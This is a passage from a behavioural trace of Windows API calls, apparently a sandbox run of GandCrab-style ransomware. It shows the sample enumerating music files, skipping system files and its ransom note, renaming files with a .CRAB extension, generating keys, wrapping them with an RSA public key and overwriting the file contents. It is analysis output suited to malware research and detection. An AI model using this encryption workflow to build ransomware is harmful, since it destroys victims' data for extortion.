	[0131.079] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0x15a01, lpOverlapped=0x0) returned 1
	[0131.091] VirtualAlloc (lpAddress=0x0, dwSize=0x15a10, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0131.093] VirtualAlloc (lpAddress=0x0, dwSize=0x15a10, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0131.095] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.096] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffea5ff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.096] WriteFile (in: hFile=0x3f0, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x15a10, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314bf0c*=0x15a10, lpOverlapped=0x0) returned 1
	[0131.096] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.097] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.112] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0131.112] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0131.112] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0131.112] CloseHandle (hObject=0x3f0) returned 1
	[0131.112] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.112] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.113] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.113] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.113] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.113] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.114] FindNextFileW (in: hFindFile=0x320fa90, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0131.114] FindClose (in: hFindFile=0x320fa90 | out: hFindFile=0x320fa90) returned 1
	[0131.114] FindNextFileW (in: hFindFile=0x320fa10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0131.114] lstrcmpW (lpString1="7M5NHqWj.m4a", lpString2=".") returned 1
	[0131.114] lstrcmpW (lpString1="7M5NHqWj.m4a", lpString2="..") returned 1
	[0131.114] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\", lpString2="7M5NHqWj.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a"
	[0131.114] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.114] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a") returned 61
	[0131.114] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a") returned 61
	[0131.114] lstrlenW (lpString=".m4a") returned 4
	[0131.114] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.115] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".m4a ") returned 5
	[0131.115] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.115] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a") returned 61
	[0131.115] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a") returned 61
	[0131.115] lstrcmpiW (lpString1="7M5NHqWj.m4a", lpString2="desktop.ini") returned -1
	[0131.115] lstrcmpiW (lpString1="7M5NHqWj.m4a", lpString2="autorun.inf") returned -1
	[0131.115] lstrcmpiW (lpString1="7M5NHqWj.m4a", lpString2="ntuser.dat") returned -1
	[0131.115] lstrcmpiW (lpString1="7M5NHqWj.m4a", lpString2="iconcache.db") returned -1
	[0131.115] lstrcmpiW (lpString1="7M5NHqWj.m4a", lpString2="bootsect.bak") returned -1
	[0131.115] lstrcmpiW (lpString1="7M5NHqWj.m4a", lpString2="boot.ini") returned -1
	[0131.115] lstrcmpiW (lpString1="7M5NHqWj.m4a", lpString2="ntuser.dat.log") returned -1
	[0131.115] lstrcmpiW (lpString1="7M5NHqWj.m4a", lpString2="thumbs.db") returned -1
	[0131.115] lstrcmpiW (lpString1="7M5NHqWj.m4a", lpString2="CRAB-DECRYPT.txt") returned -1
	[0131.115] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.116] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a.CRAB") returned 66
	[0131.116] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\7m5nhqwj.m4a")) returned 0x20
	[0131.116] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a", dwFileAttributes=0x20) returned 1
	[0131.116] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\7m5nhqwj.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\7m5nhqwj.m4a.crab")) returned 1
	[0131.117] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0131.117] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a.CRAB"
	[0131.118] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a.CRAB.CRAB"
	[0131.118] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e6b0) returned 1
	[0131.120] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.121] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.121] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.121] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0131.121] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0131.121] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.121] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0131.124] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.124] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.124] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.124] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0131.124] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.124] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.125] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0131.125] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0131.125] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0131.128] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320fa90) returned 1
	[0131.129] CryptGetKeyParam (in: hKey=0x320fa90, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0131.129] CryptEncrypt (in: hKey=0x320fa90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0131.130] GetLastError () returned 0x0
	[0131.130] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.130] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e9e0) returned 1
	[0131.132] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320e3d0) returned 1
	[0131.132] CryptGetKeyParam (in: hKey=0x320e3d0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0131.132] CryptEncrypt (in: hKey=0x320e3d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0131.133] GetLastError () returned 0x0
	[0131.133] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0131.133] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\7M5NHqWj.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\7m5nhqwj.m4a.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0131.133] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0131.134] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0131.134] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x15e15, lpOverlapped=0x0) returned 1
	[0131.146] VirtualAlloc (lpAddress=0x0, dwSize=0x15e20, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0131.147] VirtualAlloc (lpAddress=0x0, dwSize=0x15e20, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0131.149] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.150] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffea1eb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.226] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x15e20, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x15e20, lpOverlapped=0x0) returned 1
	[0131.226] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.227] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.231] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0131.231] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0131.231] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0131.231] CloseHandle (hObject=0x3ec) returned 1
	[0131.232] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.232] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.232] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.232] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.233] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.233] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.233] FindNextFileW (in: hFindFile=0x320fa10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0131.233] lstrcmpW (lpString1="BHIq.m4a", lpString2=".") returned 1
	[0131.233] lstrcmpW (lpString1="BHIq.m4a", lpString2="..") returned 1
	[0131.233] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\", lpString2="BHIq.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a"
	[0131.233] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.233] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a") returned 57
	[0131.233] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a") returned 57
	[0131.233] lstrlenW (lpString=".m4a") returned 4
	[0131.234] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.234] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".m4a ") returned 5
	[0131.234] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.234] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a") returned 57
	[0131.234] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a") returned 57
	[0131.234] lstrcmpiW (lpString1="BHIq.m4a", lpString2="desktop.ini") returned -1
	[0131.234] lstrcmpiW (lpString1="BHIq.m4a", lpString2="autorun.inf") returned 1
	[0131.234] lstrcmpiW (lpString1="BHIq.m4a", lpString2="ntuser.dat") returned -1
	[0131.234] lstrcmpiW (lpString1="BHIq.m4a", lpString2="iconcache.db") returned -1
	[0131.234] lstrcmpiW (lpString1="BHIq.m4a", lpString2="bootsect.bak") returned -1
	[0131.234] lstrcmpiW (lpString1="BHIq.m4a", lpString2="boot.ini") returned -1
	[0131.234] lstrcmpiW (lpString1="BHIq.m4a", lpString2="ntuser.dat.log") returned -1
	[0131.234] lstrcmpiW (lpString1="BHIq.m4a", lpString2="thumbs.db") returned -1
	[0131.234] lstrcmpiW (lpString1="BHIq.m4a", lpString2="CRAB-DECRYPT.txt") returned -1
	[0131.234] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.235] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a.CRAB") returned 62
	[0131.235] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\bhiq.m4a")) returned 0x20
	[0131.235] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a", dwFileAttributes=0x20) returned 1
	[0131.235] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\bhiq.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\bhiq.m4a.crab")) returned 1
	[0131.236] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0131.236] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a.CRAB"
	[0131.236] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a.CRAB.CRAB"
	[0131.237] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0131.239] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.239] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.240] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.240] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0131.240] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.240] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.240] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0131.242] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.243] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.243] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.243] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0131.243] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.243] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.243] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0131.244] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0131.244] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0131.247] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320e310) returned 1
	[0131.247] CryptGetKeyParam (in: hKey=0x320e310, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0131.247] CryptEncrypt (in: hKey=0x320e310, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0131.247] GetLastError () returned 0x0
	[0131.247] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0131.247] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e9e0) returned 1
	[0131.250] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320dd90) returned 1
	[0131.250] CryptGetKeyParam (in: hKey=0x320dd90, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0131.250] CryptEncrypt (in: hKey=0x320dd90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0131.250] GetLastError () returned 0x0
	[0131.250] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0131.250] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\BHIq.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\bhiq.m4a.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0131.251] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0131.251] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0131.251] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0xb65e, lpOverlapped=0x0) returned 1
	[0131.257] VirtualAlloc (lpAddress=0x0, dwSize=0xb660, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0131.258] VirtualAlloc (lpAddress=0x0, dwSize=0xb660, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0131.259] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.259] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff49a2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.259] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xb660, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0xb660, lpOverlapped=0x0) returned 1
	[0131.265] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.265] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.269] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0131.269] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0131.269] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0131.269] CloseHandle (hObject=0x3ec) returned 1
	[0131.270] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.270] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.270] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.270] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.271] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.271] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.271] FindNextFileW (in: hFindFile=0x320fa10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0131.271] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0131.271] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
